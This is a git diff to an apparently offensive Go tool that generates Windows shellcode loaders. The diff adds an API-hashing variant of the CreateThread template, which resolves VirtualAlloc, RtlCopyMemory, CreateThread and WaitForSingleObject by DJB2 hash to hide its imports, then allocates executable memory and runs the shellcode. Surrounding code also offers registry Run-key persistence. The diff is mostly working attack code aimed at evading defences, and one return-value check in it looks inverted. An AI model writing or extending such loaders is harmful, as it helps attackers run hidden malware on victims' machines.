diff --git a/cli/parser.go b/cli/parser.go
@@ -331,7 +331,7 @@ func GetParser(opts *Options) *cobra.Command {
rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
rootCmd.Flags().BoolVarP(&opts.WithDebug, "debug", "d", false, "builds binary with debug symbols")
rootCmd.Flags().BoolVarP(&opts.UseAPIHashing, "use-api-hashing", "", false, "Use API Hashing")
- // TODO(djnn): re-add this flag once supported
+ // TODO(djnn): re-add this flag once supported
// rootCmd.Flags().StringVarP(&opts.APIHashingType, "api-hashing-type", "", "DJB2", "Hashing algorithm used for API hashing")
rootCmd.Flags().StringVarP(&opts.Persistence, "persistence", "z", defaults.Persistence, "name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' reg key (default: \"\")")
diff --git a/internals/defines.go b/internals/defines.go
@@ -77,4 +77,18 @@ var Ntdll = []ItemHash{
Sha512: "f07fcea516c70bda3cb17f3010d2d03ea426a79e4ca181668728ce02a93c39673d8e38de51f68574034f3dfa87eb5f98d3e279015673194b5bee86fa2eb8ac12",
Djb2: "9ca2ab4726e0ba31",
},
+ {
+ Name: "CreateThread",
+ Sha1: "2a953ace6c3950520c4153060e35679648967981",
+ Sha256: "0fe39db340c2fe54c68e77ff65754d08137aae006286e8b8e5f20cc5451e9f22",
+ Sha512: "855848ae8b96ad61d7288ac5eb42f54069dcb242201bc3b3df7a21b8f4e4fd70324e7a514ec710a75b7b1cc3a219da75cb49cd6a99e33172e41ed80b35c9e348",
+ Djb2: "65dd5ebc0ad0132a",
+ },
+ {
+ Name: "WaitForSingleObject",
+ Sha1: "681e778499375c2fb42da094ca5119ae773c189b",
+ Sha256: "6a98c5468e3cd5c8fec2ed81dcfb6c653bfe56289debe0e1089c92dc8eff744f",
+ Sha512: "a06ee8da37a43a240267a122a8ea85fbf9e0b403e140e13ea3504bff2004e1902df4542e5d5b821439ab73633d2405cf8c1c4ccdef288c26e8ecfa07be49cae8",
+ Djb2: "aabf4c35522cfc3e",
+ },
}
diff --git a/internals/runtime.go b/internals/runtime.go
@@ -29,7 +29,7 @@ func rva2offset(pe *pe.File, rva uint32) uint32 {
return rva
}
-func HashedSyscall(callid uint16, argh ...uintptr) uintptr {
+func HashedCall(callid uint16, argh ...uintptr) uintptr {
rvalue := runSyscall(callid, argh...)
return uintptr(rvalue)
}
diff --git a/loaders/createThread.go b/loaders/createThread.go
@@ -5,9 +5,27 @@ import (
"strings"
)
-type CreateTTemplate struct{}
+type CreateTTemplate struct {
+ UseApiHashing bool
+ HashMethod string
+}
func (t CreateTTemplate) Import() string {
+ if t.UseApiHashing {
+ return fmt.Sprintf(`
+import (
+ "fmt"
+ "log"
+ "os"
+ "syscall"
+ "unsafe"
+
+ "github.com/Binject/debug/pe"
+ loader "github.com/cmepw/myph/internals"
+)
+ `)
+ }
+
return fmt.Sprintf(`
import (
"syscall"
@@ -24,6 +42,17 @@ const (
PAGE_EXECUTE_READWRITE = 0x40
)
+
+`)
+}
+
+func (t CreateTTemplate) Init() string {
+
+ if t.UseApiHashing {
+ return fmt.Sprintf("\n")
+ }
+
+ return fmt.Sprintf(`
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
@@ -34,14 +63,91 @@ var (
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
-`)
-}
-
-func (t CreateTTemplate) Init() string {
- return fmt.Sprintf(``)
+ `)
}
func (t CreateTTemplate) Process() string {
+ if t.UseApiHashing {
+
+ return fmt.Sprintf(`
+ ntdll, err := pe.Open("C:\\Windows\\System32\\ntdll.dll"); if err != nil {
+ fmt.Println(err.Error())
+ os.Exit(1)
+ }
+ defer ntdll.Close()
+
+
+ kernel32, err := pe.Open("C:\\Windows\\System32\\kernel32.dll"); if err != nil {
+ fmt.Println(err.Error())
+ os.Exit(1)
+ }
+ defer kernel32.Close()
+
+
+ var addr uintptr
+ regionsize := uintptr(len(shellcode))
+ VirtualAlloc, err := loader.LoadFunctionFromHash(loader.HashDJB2, "32b0ac787d4dba31", kernel32)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ addr = loader.HashedCall(
+ VirtualAlloc,
+ 0,
+ regionSize,
+ MEM_COMMIT|MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE,
+ )
+
+ if addr == 0 {
+ log.Fatal("Error: null return value")
+ }
+
+ RtlCopyMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "7a4c2ed807c8fcf1", ntdll)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ rvalue := loader.HashedCall(
+ RtlCopyMemory,
+ addr,
+ (uintptr)(unsafe.Pointer(&shellcode[0])),
+ regionsize,
+ ); if addr != 0 {
+ log.Fatal("Error: invalid return value")
+ }
+
+ CreateThread, err := loader.LoadFunctionFromHash(loader.HashDJB2, "65dd5ebc0ad0132a", kernel32)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ threadAddr := loader.HashedCall(
+ CreateThread,
+ 0,
+ 0,
+ addr,
+ 0,
+ 0,
+ 0,
+ )
+
+ WaitForSingleObject, err := loader.LoadFunctionFromHash(loader.HashDJB2, "aabf4c35522cfc3e", kernel32)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+
+ loader.HashedCall(
+ WaitForSingleObject,
+ threadAddr,
+ 0xFFFFFFFF,
+ )
+
+ `)
+
+ }
+
return fmt.Sprintf(`
addr, _, _ := VirtualAlloc.Call(
0,
@@ -83,10 +189,10 @@ __CONST__STATEMENT__
func ExecuteOrderSixtySix(shellcode []byte) {
-__IMPORT__INIT__
+__IMPORT__INIT__
__IMPORT__PROCESS__
-
+
}
`
template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
diff --git a/loaders/ntCreateThreadEx.go b/loaders/ntCreateThreadEx.go
@@ -81,7 +81,7 @@ func (t NtCreateThreadExTemplate) Process() string {
log.Fatal(err)
}
- rvalue := loader.HashedSyscall(
+ rvalue := loader.HashedCall(
NtAllocateVirtualMemory,
uintptr(0xffffffffffffffff),
uintptr(unsafe.Pointer(&addr)),
@@ -101,7 +101,7 @@ func (t NtCreateThreadExTemplate) Process() string {
log.Fatal(err)
}
- rvalue = loader.HashedSyscall(
+ rvalue = loader.HashedCall(
NtWriteVirtualMemory,
uintptr(0xffffffffffffffff),
addr,
@@ -121,7 +121,7 @@ func (t NtCreateThreadExTemplate) Process() string {
log.Fatal(err)
}
- rvalue = loader.HashedSyscall(
+ rvalue = loader.HashedCall(
NtProtectVirtualMemory,
uintptr(0xffffffffffffffff),
uintptr(unsafe.Pointer(&addr)),
@@ -142,7 +142,7 @@ func (t NtCreateThreadExTemplate) Process() string {
log.Fatal(err)
}
- rvalue = loader.HashedSyscall(
+ rvalue = loader.HashedCall(
NtCreateThreadEx,
uintptr(unsafe.Pointer(&hhosthread)),
0x1FFFFF,
diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -89,7 +89,7 @@ func (t SysTemplate) Process() string {
log.Fatal(err)
}
- addr = loader.HashedSyscall(
+ addr = loader.HashedCall(
VirtualAlloc,
0,
regionSize,
@@ -106,7 +106,7 @@ func (t SysTemplate) Process() string {
log.Fatal(err)
}
- rvalue := loader.HashedSyscall(
+ rvalue := loader.HashedCall(
RtlCopyMemory,
addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
@@ -121,7 +121,7 @@ func (t SysTemplate) Process() string {
log.Fatal(err)
}
- rvalue := loader.HashedSyscall(
+ rvalue := loader.HashedCall(
VirtualProtect,
addr,
regionsize,
diff --git a/loaders/utils.go b/loaders/utils.go
@@ -1,7 +1,9 @@
package loaders
func InformExpermimental() {
- println("[!] The API hashing feature is still in an an experimental stage!!")
+ println("[!] The API hashing feature is still in an an experimental stage!!")
+ println("Only a few methods are supported for now:")
+ println("\t-Syscall\n\t-CreateThread\n\t-tNtCreateThreadEx\n")
}
func InformProcessUnused(process string) {
@@ -10,6 +12,14 @@ func InformProcessUnused(process string) {
println("[!] PLEASE NOTE:\n\tshellcode will not be injected into new process with this method.")
}
+func DownloadMyphInternals(path string) error {
+
+ println("[!] While internals module is not published, we will manually copy it.")
+ println("Please ensure (temporarily) that you use myph from its root repository.")
+
+ return nil
+}
+
type Templater interface {
Init() string
Import() string
@@ -25,7 +35,7 @@ func SelectTemplate(templateName string, useApiHashing bool, apiHashTechnique st
"Syscall": SysTemplate{UseApiHashing: useApiHashing, HashMethod: apiHashTechnique},
"CRT": CRTTemplate{},
"CRTx": CRTxTemplate{},
- "CreateThread": CreateTTemplate{},
+ "CreateThread": CreateTTemplate{UseApiHashing: useApiHashing, HashMethod: apiHashTechnique},
"ProcessHollowing": ProcHollowTemplate{},
"EnumCalendarInfoA": EnumCalendarTemplate{},
"CreateFiber": CreateFiberTemplate{},
@@ -33,9 +43,9 @@ func SelectTemplate(templateName string, useApiHashing bool, apiHashTechnique st
"NtCreateThreadEx": NtCreateThreadExTemplate{UseApiHashing: useApiHashing, HashMethod: apiHashTechnique},
}
- if useApiHashing {
- InformExpermimental()
- }
+ if useApiHashing {
+ InformExpermimental()
+ }
template, exist := methodes[templateName]
if exist {
| | | | | | |